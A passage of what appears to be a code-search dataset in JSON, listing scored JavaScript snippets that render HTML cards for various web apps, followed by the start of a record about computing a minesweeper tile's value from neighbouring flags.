builder.HeroCard()\n .title(`${quote.symbol} ${quote.current}`)\n .text(`<i><span style='color: ${color};'>${symbol} ${quote.curr_change.toFixed(3)} (${(quote.pct_change).toFixed(3)}%)</span><br/>${quote.name}</i>`);\n }", "title": "" }, { "docid": "157cc3ff5f5b236c505244377e5edccd", "score": "0.52906865", "text": "function createCards(card) {\n return `<li class=\"card col-s-3\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n}", "title": "" }, { "docid": "74357a5c37da0556c6f890c8959df011", "score": "0.52873015", "text": "render() {\n return html`\n <div class=\"card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <h5> ${this.blockedPost.uid ? html`<p>ID of user: </p>${this.blockedPost.uid}` : html``}</h5>\n <h5>${this.blockedPost.title ? html`<p>Title of post: </p>${this.blockedPost.title}` : html``}</h5>\n <h5>${this.blockedPost.content ? html`<p>Content of post: </p>${this.blockedPost.content}` : html``}</h5>\n <h5>${this.blockedPost.warning ? html`<p></p>${this.blockedPost.warning}` : html``}</h5>\n \n </div>\n </div>\n `;\n }", "title": "" }, { "docid": "c953e233124e51cd927f1dafa41b71e6", "score": "0.5286888", "text": "function getCardHtml(cardInput) {\n let html = \"<div>\";\n html += cardInput;\n return html;\n}", "title": "" }, { "docid": "97be8306eeb2390f2e24ff96422f83e4", "score": "0.5285907", "text": "formatHTML() {\n let html = document.createElement('li');\n html.id = `gk-${this.index}`;\n html.className = 'card';\n html.innerHTML = `<h2>GeneKey ${this.index}</h2>\n <button id=\"codone-btn\">Codone ${this.codone}</button>\n <p>Aminoacid: ${this.aminoacid}</p>\n <p>Iching: ${this.iching}</p>\n <p>Keywords: ${this.formatKeywords()}</p>\n <p>Channel: ${this.channel.name}</p>\n <p>Emotions: ${this.formatEmotions()}</p>\n <p>Organs: ${this.formatOrgans()}</p>\n <button id=\"partner-btn\">Partner: GeneKey ${this.partner}</button>\n <p>Dilemma: ${this.dilemma}</p>\n `;\n html.appendChild(this.siddhi.toButton(html));\n html.appendChild(this.gift.toButton(html));\n html.appendChild(this.shadow.toButton(html));\n // Add the click listeners for the codone and partner button\n const codoneButton = html.querySelector('button#codone-btn');\n const partnerButton = html.querySelector('button#partner-btn');\n codoneButton.addEventListener('click', () => {\n sectionUl.appendChild(this.getCodone().formatHTML());\n });\n partnerButton.addEventListener('click', () => {\n sectionUl.appendChild(this.getPartner().formatHTML());\n });\n return html;\n }", "title": "" }, { "docid": "b271c8a585899ca07ca78ec2656fa213", "score": "0.52842903", "text": "function toggleExtendedCard(card) {\n if (!card.className.includes(\"extended-card\")) {\n // fill out extended card info\n card.classList.add(\"extended-card\");\n // Grab photo info/ description/ website from server\n //\n // var data = {\"Description\":\"Words about the band\", \"Image\":\"http://t2.ftcdn.net/jpg/00/43/60/13/400_F_43601359_7i5eXOlvXVmMms2NudQ7e3uykHuSV8PS.jpg\",\"Website\":\"https://www.facebook.com/Blue-Spectrum-1439630629605363/\"};\n // var query = {'Performer': card.children[3].innerHTML}\n //var data = getBandData(query);\n var getDescription = card.dataset.description;\n if (getDescription == \"null\") {\n getDescription = \"\";\n }\n var getImage = card.dataset.image;\n var getWebsite = card.dataset.website;\n var cardExtension = document.createElement(\"div\");\n var bandImage = document.createElement(\"img\");\n var bandDescription = document.createElement(\"p\");\n var subBandDescription = document.createTextNode(getDescription);\n var bandWebsite = document.createElement(\"a\");\n bandWebsite.setAttribute(\"href\", getWebsite);\n bandWebsite.setAttribute(\"target\", \"_blank\");\n bandWebsite.setAttribute(\"rel\", \"external\");\n bandWebsite.setAttribute(\"onClick\", \"stopEvent(event);\");\n bandWebsite.innerHTML = getWebsite;\n bandWebsite.className = \"card-website\";\n cardExtension.className = \"card-extension\";\n bandDescription.appendChild(subBandDescription);\n bandDescription.className = \"card-extendedDescription\";\n bandImage.src = getImage;\n bandImage.onerror = \"imageError(this)\";\n bandImage.className = \"card-photo\";\n cardExtension.appendChild(bandImage);\n cardExtension.appendChild(bandDescription);\n cardExtension.appendChild(bandWebsite);\n\n card.appendChild(cardExtension);\n } else {\n // toggle card on or off\n if (card.children[6].style.display === \"none\") {\n card.children[6].style.display = \"flex\";\n } else {\n card.children[6].style.display = \"none\";\n }\n }\n}", "title": "" }, { "docid": "8c520ab3a97b5916a332221f177b8d39", "score": "0.527715", "text": "function render_speaker(row){\n\t\t\t\tvar speaker = '<h5 class=\"content_speaker text-center\">' + row.content.speaker + '</h5>';\n\t\t\t\tif(row.render.order == \"x\"){\n\t\t\t\t\tspeaker = '';\n\t\t\t\t}\n\n\t\t\t\tvar img = '<div class=\"text-center\"><img src=\"../static/img/speakers/' + row.render.img + '\" style=\"width: 70px; height: 70px; border-radius: 100%;\"></div>'\n\n\t\t\t\treturn '<div class=\"hidden-xs\" style=\"margin-left: -25px;\">' + speaker + img + \"</div>\";\t;\n\n\t\t //return '<div class=\"hidden-xs\" style=\"margin-left: -25px;\">' + speaker + img + \"</div>\";\t\n\t\t\t}", "title": "" }, { "docid": "eb7631bfe142f26b64c0a6b6f24fd44f", "score": "0.5272305", "text": "function showRelNews(){\n $('#mainContainer').append(\"<div id='relNewsContainer'><hr><h4>Noticias Relacionadas</h4><hr></div>\");\n $('#relNewsContainer h4').css('font-family','Pattaya');\n $('#relNewsContainer h4').addClass('center-align');\n $('#relNewsContainer h4').css('color','#757575');\n \n //ESTA VARIABLE DE ID SALDRA DE LA BBDD\n for(var idNew = 1; idNew < 4; idNew++){\n $('#relNewsContainer').append(\"<div id='\" + idNew + \"' class='col s12'><div class='card horizontal'><div class='col s4 card-imag'><img class='responsive-img imgHorCard' src='../Images/\" + arrayPhotosAvailable[idNew] + \".png'></div><div class='col s8 card-stacked'><div class='card-content'><p>News Title and Info.</p></div><div class='card-action'><a onclick='viewThisNew(\" + idNew + \")'>Link to the News</a><footer>Author | Location</footer></div></div></div></div>\");\n }\n \n //FUNCION QUE SETEA EL ESTILO DE LAS HORIZONTAL CARDS\n setStyleHorCard();\n}", "title": "" }, { "docid": "862fbeafc43506a0867c747f59f7dac5", "score": "0.5251266", "text": "function add_schritt_to_html(kette, regel) {\n $(\"#history\").append(\n \"<div class='row'>\" +\n \" <div class='col-6'>\" + kette + \"</div>\" +\n \" <div class='col-6'>\" + regel + \"</div>\" +\n \"</div>\"\n );\n}", "title": "" }, { "docid": "4fd24f43ac1df510b1c8d54fefac0fee", "score": "0.5246566", "text": "function leftHTML() {\n console.log('left arrow');\n if (i > 0) {\n i--;\n shift();\n document.querySelector('#card1').innerHTML = HtmlQuestion[i];\n document.querySelector('.flashcard2 p').innerHTML = HtmlAnswer[i];\n htmlStatus();\n }\n\n}", "title": "" }, { "docid": "6f12a462fe2ff435b37b4fa72256931d", "score": "0.5244553", "text": "_renderContactTitle() {\n const contactTitle = document.getElementById('contactTitle');\n contactTitle.querySelector('.name').innerHTML = this.currentChatData.name;\n contactTitle.querySelector('.last').innerHTML = this.currentChatData.last;\n contactTitle.querySelector('.profile').setAttribute('src', this.currentChatData.thumb);\n if (this.currentChatData.status !== 'Online') {\n contactTitle.querySelector('.status').classList.add('d-none');\n }\n }", "title": "" }, { "docid": "586a7fc0c29febbf39e9bf479b39dc69", "score": "0.52306265", "text": "function createCard(card) {\n return `<li class=\"card\" data-card-type=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n}", "title": "" }, { "docid": "8adec22cb27709a760119aa176824c2a", "score": "0.52291286", "text": "function createCard(card) {\n return '<li class=\"card\" data-card=\"' + card + '\"><i class=\"fas ' + card + '\" ></i></li>';\n }", "title": "" }, { "docid": "556dfcf0ce1621cfd1a45b311ee617aa", "score": "0.5228009", "text": "function createCard(issue) {\n//\tconsole.log(issue);\n\tvar card = $('<div class=\"card\"></div>');\n\tcard.attr(\"url\", issue.url);\n//\tif (issue.closed_at != null) {\n//\t\tvar cardRef = $('<a class=\"cardlink\" style=\"text-decoration: line-through;\" target=\"_blank\" href=\"' + issue.html_url + '\">' + issue.title + '</a>');\t\t\n//\t} else {\n\t\tvar cardRef = $('<a class=\"cardlink\" target=\"_blank\" href=\"' + issue.html_url + '\">' + issue.title + '</a>');\n//\t}\n\tcard.append(cardRef);\n\t\n\tvar owner = yoda.getUrlOwner(issue.repository_url);\n\tvar repo = yoda.getUrlRepo(issue.repository_url);\n\n\tif (issue.assignees.length > 0) {\n\t\tvar assignText = \"\";\n\t\tfor (var as = 0; as < issue.assignees.length; as++) {\n\t\t\tvar assignee = issue.assignees[as].login;\n\t\t\tif (assignText != \"\") \n\t\t\t\tassignText += \" \";\n\t\t\tassignText += '<a href=\"' + issue.assignees[as].html_url + '\" target=\"_blank\">' + issue.assignees[as].login + '</a>';\n\t\t}\n\t} else {\n\t\tvar assignText = \"<i>unassigned</i>\";\n\t}\n\n\tissueRef = '<a href=\"' + issue.html_url + '\" target=\"_blank\">' + owner + \"/\" + repo + \"#\" + issue.number + '</a>';\n\t\n//\tvar smallRef = $('<small>' + issueRef + ' ' + getMilestoneTitle(issue) + ' ' + assignText + '</small>');\n\tvar smallRef = $('<small>' + issueRef + ' ' + assignText + ' ' + '</small>');\n\tcard.append(smallRef);\n\n\tvar cardLabels = $('<span class=\"cardlabels\"></span>');\n\t\n\tfor (var l = 0; l < issue.labels.length; l++) {\n\t\tvar cardLabel = $('<span class=\"cardlabel\">' + issue.labels[l].name + '</span>');\n\t\tcardLabel.css('background', '#' + issue.labels[l].color); \n\t\tcardLabel.css('color', yoda.bestForeground(issue.labels[l].color));\n\t\tcardLabels.append(cardLabel);\n\t}\n\tcard.append(cardLabels);\n\t\n\t// Extract KM line(s) from body and show nicely.... \n\tvar kmLine = $('<small>' + yoda.getLabelMatch(issue.body, \"> KM\") + '</small>');\n\tcard.append(kmLine);\n\t\n\treturn card;\n}", "title": "" }, { "docid": "c67135b70bea573f0c73a20e35384e3e", "score": "0.52193546", "text": "function appendCardGroup() {\n\t\tvar snippet = '<div class=\"card-group\">\\n'+\n\t\t'\t<div class=\"card\">\\n'+\n\t\t'\t\t<img class=\"card-img-top\" src=\"...\" alt=\"Card image cap\">\\n'+\n\t\t'\t\t<div class=\"card-block\">\\n'+\n\t\t'\t\t\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t\t\t<p class=\"card-text\">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>\\n'+\n\t\t'\t\t\t<p class=\"card-text\"><small class=\"text-muted\">Last updated 3 mins ago</small></p>\\n'+\n\t\t'\t\t</div>\\n'+\n\t\t'\t</div>\\n'+\n\t\t'\t<div class=\"card\">\\n'+\n\t\t'\t\t<img class=\"card-img-top\" src=\"...\" alt=\"Card image cap\">\\n'+\n\t\t'\t\t<div class=\"card-block\">\\n'+\n\t\t'\t\t\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t\t\t<p class=\"card-text\">This card has supporting text below as a natural lead-in to additional content.</p>\\n'+\n\t\t'\t\t\t<p class=\"card-text\"><small class=\"text-muted\">Last updated 3 mins ago</small></p>\\n'+\n\t\t'\t\t</div>\\n'+\n\t\t'\t</div>\\n'+\n\t\t'\t<div class=\"card\">\\n'+\n\t\t'\t\t<img class=\"card-img-top\" src=\"...\" alt=\"Card image cap\">\\n'+\n\t\t'\t\t<div class=\"card-block\">\\n'+\n\t\t'\t\t\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t\t\t<p class=\"card-text\">This is a wider card with supporting text below as a natural lead-in to additional content. This card has even longer content than the first to show that equal height action.</p>\\n'+\n\t\t'\t\t\t<p class=\"card-text\"><small class=\"text-muted\">Last updated 3 mins ago</small></p>\\n'+\n\t\t'\t\t</div>\\n'+\n\t\t'\t</div>\\n'+\n\t\t'</div>';\n\n\t\tvar editor = edManager.getCurrentFullEditor();\n\t\tif(editor){\n\t\t\tvar insertionPos = editor.getCursorPos();\n\t\t\teditor.document.replaceRange(snippet, insertionPos);\n\t\t}\n\t}", "title": "" }, { "docid": "593903e9197660af037f16f2e5c3919f", "score": "0.52137816", "text": "function onGmailSideBarML(e) {\n onSideBar();\n var card = CardService.newCardBuilder()\n .addSection(generalSection())\n .addSection(mapSavedSection())\n .setFixedFooter(buildPreviousAndRootButtonSet());\n return card.build();\n}", "title": "" }, { "docid": "5937dac9267faf1bdbb6dbf096e29ad9", "score": "0.5213639", "text": "showCards() {\n var output = \"XX\"; // first card is face down, XX represents rank and suit of card\n for (let i = 1; i < this.cards.length; i++) { \n output += ` ${this.cards[i].show()}`; \n }\n return output;\n }", "title": "" }, { "docid": "2bd054e3d80f3e51b04cbeca3e8870d9", "score": "0.52124834", "text": "function createViewBtn(){\n\tvar html_view_btn = '<p class=\"view-more\"><span class=\"view-more-content\"><span class=\"view-more-text\">View</span></span></p>';\n\t$(\".card\").append(html_view_btn);\n}", "title": "" }, { "docid": "2d486b8e639e077e2b03a5de080af7ac", "score": "0.5212198", "text": "displayWorkshopCards(cards) {\n let result = \"\";\n cards.forEach(card => {\n result += `\n <div class=\"card workshop-card\">\n <img src=${card.image} alt=\"\"> \n <div class=\"descriptions\">\n <h1>${card.title}</h1>\n <p>${card.description}</p>\n <button>Apply</button>\n </div>\n </div>`;\n });\n workshopDOM.innerHTML = result;\n }", "title": "" }, { "docid": "46c3121262e8a4e41593774cfee722f1", "score": "0.5208932", "text": "function cardAddedDisplay(){\n cardIndexNum++\n userCards.innerHTML = userCards.innerHTML +\n \"<div id='card\"+ cardIndexNum +\"' class='card'><!-- front side of card --><div id='card\"\n + cardIndexNum +\n \"__side--front' class='card__side card__side--front'><img src='assets/images/red_back.png' class='cardImg redBack'></div><!-- Back side of card --><div id='card\"\n + cardIndexNum +\n \"__side--back' class='card__side card__side--back'><img src='assets/images/\"\n + card +\n \".png' alt=' \" + card + \" 'title = '\"+ card + \"'class='cardImg cardType'></div></div>\";\n\n //Card HTML created:\n\n //<!-- Card container-->\n //\"<div id='card+cardIndexNum' class='card'>\n //<!-- front side of card --><div id='card + cardIndexNum + __side--front' class='card__side card__side--front'>\n //<img src='assets/images/red_back.png' class='cardImg redBack'>\n //</div>\n\n //<!-- Back side of card -->\n //<div id='card+cardIndexNum+__side--back' class='card__side card__side--back'>\n //<img src='assets/images/+ card +.png' alt=' + card + 'title = '+ card + 'class='cardImg cardType'>\n //</div>\n //</div>;\n}", "title": "" }, { "docid": "3001ade796ffc0c87f9eb2dcc4bce643", "score": "0.52038157", "text": "function appendDefaultCard() {\n\t\tvar snippet = '<div class=\"card\">\\n'+\n\t\t'\t<img class=\"card-img-top\" src=\"...\" alt=\"Card image cap\">\\n'+\n\t\t'\t<div class=\"card-block\">\\n'+\n\t\t'\t\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t\t<p class=\"card-text\">Some quick example text to build on the card title and make up the bulk of the card\\'s content.</p>\\n'+\n\t\t'\t\t<a href=\"#\" class=\"btn btn-primary\">Button</a>\\n'+\n\t\t'\t</div>\\n'+\n\t\t'</div>';\n\n\t\tvar editor = edManager.getCurrentFullEditor();\n\t\tif(editor){\n\t\t\tvar insertionPos = editor.getCursorPos();\n\t\t\teditor.document.replaceRange(snippet, insertionPos);\n\t\t}\n\t}", "title": "" }, { "docid": "f78543e4f07e0806549ff5efe9d6f4de", "score": "0.5201848", "text": "render() {\n return (\n <div>\n <Card>\n <CardActionArea>\n <CardMedia\n image=\"/static/images/cards/contemplative-reptile.jpg\"\n title=\"Contemplative Reptile\"\n />\n <CardContent>\n <Typography gutterBottom variant=\"h5\" component=\"h2\">\n {this.state.data.title}\n </Typography>\n <Typography variant=\"body2\" color=\"textSecondary\" component=\"p\">\n {this.state.data.message}\n </Typography>\n <Typography variant=\"body2\" color=\"textSecondary\" component=\"p\">\n Posted by {this.state.data.author}\n </Typography>\n </CardContent>\n </CardActionArea>\n <CardActions>\n <Button size=\"small\" color=\"primary\">\n Share\n </Button>\n <Button size=\"small\" color=\"primary\">\n Learn More\n </Button>\n </CardActions>\n </Card>\n </div>\n )\n }", "title": "" }, { "docid": "0dc9c78b1aecc087e12cb687630a9729", "score": "0.5191268", "text": "function RenderMondaiContentHeader(data) {\n var giverstr = `\n<li><b>${gettext(\"giver\")}: ${data.user_id.nickname}${data.user_id.current_award\n ? _render_useraward(data.user_id.current_award)\n : \"\"}</b></li>`;\n var createdstr = `\n<li>${gettext(\"created\")}: ${moment(data.created).calendar()}</li>`;\n return \"<ul style='left: 10px;'>\" + giverstr + createdstr + \"</ul>\";\n }", "title": "" }, { "docid": "8e24f87ce32316722536fab2d85fd621", "score": "0.51878005", "text": "function displayClozeCard(card) {\n\t\tconsole.log(\"CLOZE CARD\");\n\t\tconsole.log(\"Full Text: \" + card.fullText);\n\t\tconsole.log(\"Cloze: \" + card.cloze);\n\t\tconsole.log(\"Partial Text: \" + card.partial);\t\t\n\n\t}", "title": "" }, { "docid": "13c0b85538fad1ca12b3c9add9faccb2", "score": "0.5183222", "text": "generateTitle(data) {\n this.displayCard.innerHTML = '';\n this.displayTitle.innerHTML = '';\n const titles = [];\n data.forEach(title => {\n titles.push(`<p>${title.title}</P>`);\n })\n this.displayTitle.innerHTML = `${titles.join(' ')}`\n }", "title": "" }, { "docid": "55e7173043c129f1299963140d393ec4", "score": "0.518189", "text": "function printCard() {\n let markup = '';\n for (i = 0; i < cards.length; i++) {\n markup += ' <div class=\"flip-card\" onclick=\"check(this,'+cards[i].val +')\"> <div class =\"flip-card-inner\" ><div class = \"flip-card-front\" ><img src =\"assets/img/retro.jpg\" class=\"card\" ></div> <div class=\"flip-card-back\" ><img src=\"'+ cards[i].img+'\" class=\"card\"></div></div></div>';\n }\n return markup;\n}", "title": "" }, { "docid": "8214f5a418018dd417021fd39cd1f11e", "score": "0.51813674", "text": "render() {\n return (\n <div className={\"message-display-area \".concat(this.props.type)}>\n <Card className={\"message-card \".concat(this.props.type)}>\n <CardContent className=\"message-card-wrapper\">\n <div className=\"message-card-header\"><i>{this.props.category}</i> - <i>{this.props.sender}</i></div>\n <div className=\"message-card-content\">{this.props.content}</div>\n <div className=\"message-card-footer\">{this.props.timestamp}</div>\n </CardContent>\n </Card>\n </div>\n );\n }", "title": "" }, { "docid": "24281486e1a07337d24d491eb0ffd869", "score": "0.51809615", "text": "function toggleThankYouMessage() {\n let html = `\n <p class=\"text-center fs-2\">Thank you for leaving a message.</p>\n <div class=\"image-container text-center col-5 col-sm-4 col-lg-3\">\n <img src=\"assets/images/bee-happy.png\" alt=\"Doodle of a happy bee\">\n </div>\n <div class=\"text-center my-2\">\n <a href=\"index.html\" class=\"return-btn btn btn-primary\">Return to game</a>\n </div>`;\n document.getElementById('container').innerHTML = html;\n}", "title": "" }, { "docid": "a39101d39d59811c849ed5afc54beb0f", "score": "0.5175199", "text": "function generateCard(card){\n \t\treturn `<li class=\"card\" type = \"${card}\"><i class=\"fa ${card}\"></i></li>`\n }", "title": "" }, { "docid": "6734d7ca39a52fd1c5160c668b8969e8", "score": "0.5172136", "text": "function bulidHtmlDeck(cardTypes,cardTypesHtml){\n\n for(i=0; i<cardTypes.length;i++){\n cardTypesHtml=`${cardTypesHtml}\n <li class=\"card\">\n <i class=\"fa ${cardTypes[i]}\"></i>\n </li>`;\n } \n return cardTypesHtml;\n}", "title": "" }, { "docid": "45baa5d91543f4a45d07da35697ecd76", "score": "0.5169591", "text": "render() {\n return html`\n <div id=\"mainCard\">\n <a href=\"${this.iconLink}\" tabindex=\"-1\" id=\"icon\">\n <simple-icon-button-lite\n icon=\"${this.icon}\"\n ></simple-icon-button-lite>\n </a>\n <div id=\"labels\">\n <slot name=\"heading\"></slot>\n </div>\n <simple-icon-button-lite\n icon=\"more-vert\"\n id=\"dots\"\n @click=${this.__clickButton}\n ></simple-icon-button-lite>\n </div>\n <div id=\"band-container\" ${animate()}>\n <slot name=\"band\"></slot>\n </div>\n <simple-tooltip for=\"icon\" position=\"left\">Access site</simple-tooltip>\n <simple-tooltip for=\"dots\" position=\"right\">More options</simple-tooltip>\n `;\n }", "title": "" }, { "docid": "cc59990eaf12971c7d9295cc254115f4", "score": "0.5164574", "text": "function setCardContent(content) {\n const element = document.getElementById(MOST_RECENT_EVENT_CARD);\n if (typeof content === 'object' && content !== null) {\n element.innerText = JSON.stringify(content, /* replacer= */ null, /* space= */ 4);\n return;\n }\n element.innerText = content;\n}", "title": "" }, { "docid": "8382f214228b9b8baba5dce42d8cd9a9", "score": "0.516414", "text": "function renderIdea(title, body, id, quality) {\n $('.card').prepend(`\n <li id=${id}>\n <header id=\"card-header\">\n <h2 class=\"card-title\" contenteditable=\"true\" onkeyup=\"\">${title}</h2>\n <button class=\"card-delete\">delete</button>\n </header>\n <p class=\"card-body\" contenteditable=\"true\" onkeyup=\"\">${body}</p>\n <footer id=\"card-footer\">\n <button class=\"up-vote\">up</button>\n <button class=\"down-vote\">down</button>\n <p class=\"quality\">quality: </p>\n </footer></li>`\n );\n}", "title": "" }, { "docid": "5951b0d31da8b90eb47f46f0c782d394", "score": "0.515006", "text": "function genCard(card) {\r\n return `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`\r\n}", "title": "" }, { "docid": "b79422326944fcd51b363a83da63d7ad", "score": "0.51496136", "text": "function renderCoffee(coffee) {\n var html = '<div class=\"coffee card col-4 m-2 d-flex bg-dark text-light\" >';\n // html += '<td>' + coffee.id + '</td>';\n html += '<div>' + '<h3>' + coffee.name + '<i class=\"fas fa-coffee\"></i>' + '</h3>' + '<p>' + coffee.roast + '</p>' + '<div class=\"d-flex justify-content-end\">' + coffee.price + '</div>' + '</div>';\n // html += '<p>' + coffee.roast + '</p>';\n html += '</div>';\n\n return html;\n}", "title": "" }, { "docid": "ef6c8f209c36cba5591a66dc7f0ce075", "score": "0.51398146", "text": "function getCardUI(card) {\n var el = document.createElement('div');\n var icon = '';\n if (card.Suit == 'Hearts')\n icon = '&hearts;';\n else if (card.Suit == 'Spades')\n icon = '&spades;';\n else if (card.Suit == 'Diamonds')\n icon = '&diams;';\n else\n icon = '&clubs;';\n el.className = 'card';\n<<<<<<< HEAD\n=======\n\n>>>>>>> blackjack app 1st css session\n el.innerHTML = card.Value + '<br/>' + icon;\n return el;\n}", "title": "" }, { "docid": "0448f835acdacd1f1f460b0554b525b0", "score": "0.51388794", "text": "function generateCard(card) {\n return `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n }", "title": "" }, { "docid": "59f85e9bcaae8bfa307be896af81e318", "score": "0.51350397", "text": "function displayRightMessage(message) {\n currentDateTime = getFormattedDate(); // get current date time\n // create a declartive string that can be parsed into and HTML object by jQuery. The message is inserted into place in the HTML\n str = \"<div class='direct-chat-msg right'><div class='direct-chat-info clearfix'> <span class='direct-chat-name pull-right'>Customer</span> <span class='direct-chat-timestamp pull-left'>\" + currentDateTime + \"</span> </div> <img class='direct-chat-img' src='/img/person-female.png' alt='message user image'> <div class='direct-chat-text'>\" + message + \"</div> </div>\";\n html = $.parseHTML(str);\n //console.log(html);\n $(\".direct-chat-messages\").append(html);\n}", "title": "" }, { "docid": "27288fe86f00c0cbd5e2e1d6406b8bb9", "score": "0.5134179", "text": "function buildCardFor(person) {\n return `\n <div class=\"card\">\n <h3 class=\"float-right\">\n <small class=\"text-uppercase\">Joined ${new Date(person.createdAt)}</small>\n </h3>\n <h2 class=\"h3\">\n ${person.firstName} ${person.lastName}\n <small> ${person.username} </small>\n </h2>\n <h4> ${person.email} </h4>\n </div>\n `;\n }", "title": "" }, { "docid": "76ea9196bb947dd59fd06d69fc47df9d", "score": "0.5132421", "text": "renderItems() {\n\t\tlet html=\"\";\n\t\thtml+='<div class=\"krs-feedList-item\">';\n\t\thtml+='<div class=\"krs-feedList-item__image\"><img src=\"IMAGE\" alt=\"TITLE\"></div>';\n\t\thtml+='<div class=\"krs-feedList-item__content\">';\n\t\thtml+='<a href=\"URL\" target=\"_blank\" class=\"krs-feedList-item__title\">TITLE</a>';\n\t\thtml+= '<p class=\"krs-feedList-item__summary\">SUMMARY</p>';\n\t\thtml+='</div>';\n\t\thtml+='</div>';\n\t\treturn html;\n\t}", "title": "" }, { "docid": "87805cd79651afc14e20c9876b46ffc7", "score": "0.5127307", "text": "function formatOutput(bookImg, title, author, publisher, bookLink, date) {\n var htmlCard =\n `<div class=\"col-lg-6\">\n <div class=\"panel panel-primary\">\n <div class=\"panel-heading\">${title}</div>\n <div class=\"panel-body\">\n <div class=\"col-lg-4 col-sm-6\">\n <img src=\"${bookImg}\" style=\"height:100px;\" class=\"img-responsive\" alt=\"Image\">\n </div>\n <div class=\"col-lg-8\" col-sm-6>\n <p> <b>Author</b>: ${author} </p>\n <p> <b>Publisher</b>: ${publisher} </p>\n <p> <b>Published Date</b>: ${date} </p>\n </div>\n </div>\n <div class=\"panel-footer\">\n <a target=\"_blank\" href=\"${bookLink}\" class=\"btn btn-primary\">Learn More</a>\n <a href=\"#\" class=\"btn btn-primary\" onclick=\"add(('${bookImg}'), ('${title}'), ('${author}'), ('${publisher}'), ('${bookLink}'), ('${date}'))\">Add to list</a>\n </div>\n </div>\n </div>`\n return htmlCard;\n}", "title": "" }, { "docid": "86c84864d2bc445ebdc4c494c83c66c2", "score": "0.51257205", "text": "function createCard(card) {\n return `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n}", "title": "" }, { "docid": "3e95590b362507dcc77e415771eda765", "score": "0.51240504", "text": "function displayCard(subPath, source){\n\n\t\tvar card = $('#cardTemplate').clone(), metadata, mKeys;\n\t\tcard.attr('id','card_' + subPath);\n\n\t\t// Parse the header comment for metadata and apply it to the card\n\t\tmetadata = parseHeaderMetadata(source);\n\t\tObject.keys(metadata).forEach(function(k){\n\n\t\t\treplaceTemplate(card, k, metadata[k]);\n\t\t\tif (k === 'Demo link') card.find('.demolink').toggleClass('hide');\n\n\t\t});\n\n\t\treplaceTemplate(card, 'Solution link', '?' + subPath); // Links to individual submissions\n\t\tcard.toggleClass('hide').appendTo('#mainContainer');\n\n\t}", "title": "" }, { "docid": "0d5b51876fa2739824f96d107ba3d0cf", "score": "0.51236415", "text": "formatEmbed() {\n this.setState({\n actionTagContent: `\\\n <div class=\"every-action-embed\">\\\n <div class=\"ngp-form\"\\\n data-form-url=\"https://actions.everyaction.com/v1/Forms/${this.getActionTagID()}\" \\\n data-fastaction-endpoint=\"https://fastaction.ngpvan.com\" \\\n data-inline-errors=\"true\"\\\n data-fastaction-nologin=\"true\"\\\n data-databag=\"everybody\">\\\n </div>\\\n </div>`,\n loading: false\n });\n }", "title": "" }, { "docid": "2178239ed0099ac89a29487311955d86", "score": "0.51211184", "text": "function getCardsInHTML(){\n let deck = document.querySelector(\".deck\");\n const cardsHTML = cards.map(function(card) {\n /*learned about data- and dataset from webinar. I could not find an alternative\n to compare their values as simply calling the index did not work*/\n return `<li class=\"card\" data-outercard=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n });\n /*learned to use join function from udacity webinar on memory game- without it\n cards display with an apostrophe between them*/\n deck.innerHTML = cardsHTML.join('');\n}", "title": "" }, { "docid": "59a8ada60a5a38f7d29849c2c9e8bc88", "score": "0.5119068", "text": "function makeCard(card) {\n return `<li class=\"card\" data-card=\"${card}\"><i class=\"fa ${card}\"></i></li>`;\n}", "title": "" }, { "docid": "845c3563a82d2d19b75d09b25f35dfe9", "score": "0.51164377", "text": "function renderConvoOnSideBar(doc){\n let convoData = doc.data();\n // Create the new sidebar element to be added.\n let conversationList = document.getElementById(\"conversation-list\");\n\n //let pfp = document.createElement(\"img\");\n //pfp.src = convoData.pfp[1 - convoData.participants.indexOf(user.uid)]; // Maybe change later, idk\n \n let avatar = document.createElement(\"i\");\n avatar.classList.add(\"material-icons\");\n avatar.classList.add(\"circle\");\n avatar.classList.add(\"blue\");\n avatar.classList.add(\"small\");\n avatar.style.height = \"40px\";\n avatar.style.width = \"40px\";\n avatar.style.fontSize = \"40px\"\n avatar.textContent = \"person\";\n\n let titleText = document.createElement(\"div\");\n titleText.classList.add(\"title-text\");\n titleText.innerText = convoData.names[1 - convoData.participants.indexOf(userInfo.email)];\n\n console.log( convoData.names[1 - convoData.participants.indexOf(userInfo.email)]); //user.id\n\n let latestDate = document.createElement(\"div\");\n latestDate.classList.add(\"latest-date\");\n latestDate.innerText = convoData.date;\n\n let latestMessage = document.createElement(\"div\");\n latestMessage.classList.add(\"conversation-message\");\n latestMessage.innerText = convoData.latestMessage;\n\n // If the conversation element already exists in the sidebar\n let conversationElement;\n try {\n // Can identify if an element already exists for this conversation because the stored conversationId is equal to the element's ID.\n conversationElement = document.getElementById(doc.id);\n // Removes existing element if it is found.\n conversationList.removeChild(conversationElement);\n } catch (error) {\n }\n\n // Creates new element.\n conversationElement = document.createElement(\"div\");\n conversationElement.classList.add(\"conversation\");\n \n //conversationElement.appendChild(pfp);\n conversationElement.appendChild(avatar);\n conversationElement.appendChild(titleText);\n conversationElement.appendChild(latestDate);\n conversationElement.appendChild(latestMessage);\n\n // Attaches event listener so the conversation can be displayed if the element in the sidebar is clicked.\n conversationElement.addEventListener(\"click\", function () {\n currentConvo = doc;\n displayConversation(doc);\n })\n \n // Sets stored conversation.conversationId equal to the element's ID.\n conversationElement.id = doc.id;\n\n console.log(conversationElement.id==doc.id);\n\n // Inserts the new sidebar element at the top.\n conversationList.insertBefore(conversationElement, conversationList.childNodes[0])\n}", "title": "" } ]
f07bb34a065e44b7a146c499ef2f466c
returns the actual value of a tile (the tile value number of bordering flags)
[ { "docid": "06ab4137678c81441733d648d11973ad", "score": "0.76375", "text": "function getValue(tile, board) {\n\tif (!board) board = getBoard();\n\treturn tile.value - getFlagNeighbors(tile, board).length;\n}", "title": "" } ]
